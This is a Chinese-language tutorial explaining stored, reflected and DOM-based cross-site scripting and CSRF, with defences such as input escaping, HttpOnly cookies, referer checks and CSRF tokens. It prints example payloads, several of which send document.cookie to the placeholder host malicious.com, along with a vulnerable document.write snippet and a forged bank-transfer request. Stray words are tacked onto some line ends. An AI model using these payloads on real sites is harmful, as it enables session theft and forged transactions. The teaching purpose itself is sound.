學習 XSS (Cross-Site Scripting,跨站腳本攻擊) 的時候能夠了解到 XSS 分爲三種:持久型 (type-2),反射型 (type-1) 和基於 DOM 型 (type-0) 。
在看反射型的時候,總結一下大多數帖子給出的解釋:惡意腳本自己是做爲請求參數發送到站點頁面存在漏洞的地方(一般是搜索框),而後腳本反射(出現)在新渲染(或者部分刷新)的頁面並執行。javascript
接下來看例子:
用戶在一個不防範 XSS 的網站中搜索內容,關鍵字爲 XXX,若是網站內包含 XXX的內容,那麼該內容就會被展現出來,若是網站中不包含相關,那麼可能會提示 XXX 相關內容不存在。也就是,用戶的搜索內容最終都會以某種方式反射到搜索結果中。若是搜索內容爲:<script>alert(1)</script>
,那麼頁面就會執行這段 JavaScript 代碼,也即該網站存在 XSS 漏洞。php
那麼問題來了: 做爲不懂 JavaScript 的用戶,是不可能本身在搜索框中輸入惡意腳本攻擊本身的。大部分網上的帖子給出的例子到以上內容爲止,解釋了什麼是反射型 XSS,可是卻沒有說明如何進行攻擊。我猜測是經過例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
這樣的惡意連接作到的,經歷一番搜尋求證,仍是在一些博客中有說起的確是這樣作的(具體查看文末參考)。html
上文提到,XSS 能夠分爲三種,持久型(Persistent),反射型(Reflected),和基於 DOM 型(DOM-Based)。仔細來說一下這三者吧。java
惡意腳本被攻擊者上傳到合法的服務器中,並在常規的頁面瀏覽過程當中返回給普通用戶並被執行。git
攻擊者在一個博客網站中的一篇博客下評論 <script>window.location='http://malicious.com/?data=' + document.cookie</script>
,惡意代碼就會在全部訪問這篇博客評論的用戶的瀏覽器中執行。github
上文提過了,這裏重複一遍:惡意腳本自己是做爲請求參數發送到站點頁面存在漏洞的地方(一般是搜索框),而後腳本反射(出現)在新渲染(或者部分刷新)的頁面並執行。跨域
例子就不重複,開頭給出了具體的例子。不過查閱的文章中有張圖很形象,這裏引用一下
瀏覽器
基於 DOM 型 XSS 實際上是一種特殊的反射型 XSS,反射型 XSS 的執行過程通過了服務器端(上面的例子中向服務器發了請求),而基於 DOM 的 XSS 沒有通過服務器端(惡意代碼沒有流經服務端),直接經過 JavaScript(並不是攻擊者寫的惡意腳本,而是來自服務器的 DOM 操做腳本)將數據輸出到 HTML 頁面中。bash
假設以下表單是讓用戶選擇他的首選語言,默認選項做爲參數提供在了 "default" 參數中。服務器
Select your language:
<select><script> document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select>
複製代碼
使用一下 URL 調用該頁面
http://www.some.site/page.html?default=French
複製代碼
能夠經過向受害者發送如下 URL 來完成基於 DOM 的 XSS 攻擊
http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
複製代碼
最大的區別就是 XSS 惡意代碼是否存儲在合法服務器中,網友也有提到反射型須要欺騙用戶點擊連接,而持久型用戶訪問相關頁面就直接觸發。
根據攻擊原理,可得出以下緩解辦法(主要核心是第一條 —— 警戒用戶輸入):
驗證用戶輸入或者作內容轉義
對於反射型,能夠提醒用戶當心惡意連接(這個幾乎沒用。。。)或者瀏覽器對 URL 作識別(Chrome,Firefox都支持)
對於盜用 Cookie ,設置 HttpOnly 屬性來保證 JavaScript 代碼沒法訪問 cookie
由於都是 Cross-Site,XSS 和 CSRF 有時候一塊兒出現儘管他們並不相同,CSRF 是 Cross-Site Request Forgery (跨站請求僞造),CSRF 攻擊經過假裝成受信任用戶的請求來利用受信任的網站,無論使用什麼方法只要是僞造用戶發起的請求均可以稱爲 CSRF 攻擊。
用戶訪問銀行的網站,在 Session 還未過時的狀況下(僞造用戶身份的關鍵) ,訪問了危險網站,危險網站執行以下代碼
$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );
複製代碼
這時候用戶在不知情的狀況下轉帳給了用戶B 500元。
不難看出,以上惡意網站發出的請求是跨域請求,在同源策略(Same Origin Policy)未被禁用時會被攔截,即便攻擊者經過 iframe/form 來成功發送該請求(才知道表單容許跨域,由於沒法獲取表單提交後的結果),服務器端也能夠經過檢查 Referer 來判斷請求來源是否合法。
可是,若是銀行使用的是 GET 請求來完成轉帳操做,攻擊者能夠結合 XSS 來作到 CSRF 攻擊,只須要藉助以上 XSS 辦法讓用戶點擊請求的 URL 便可,這種狀況下的 CSRF 又叫 XSRF。這種狀況下經過改良網站的 API 設計提升 CSRF 攻擊的門檻。
對系統的關鍵操做添加驗證碼也是有效抵抗 CSRF 攻擊的辦法,由於 "CSRF 攻擊每每是在用戶不知情的狀況下構造了網絡請求。而驗證碼會強制用戶必須與應用進行交互,才能完成最終請求" 。
不過針對 CSRF 最經常使用的方法仍是使用 CSRF-Token ,經過在每次請求的請求頭中添加 Token,服務器檢查 Token 能夠有效防止 CSRF 攻擊。
一句話總結:XSS 利用的是網站對用戶(輸入)的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。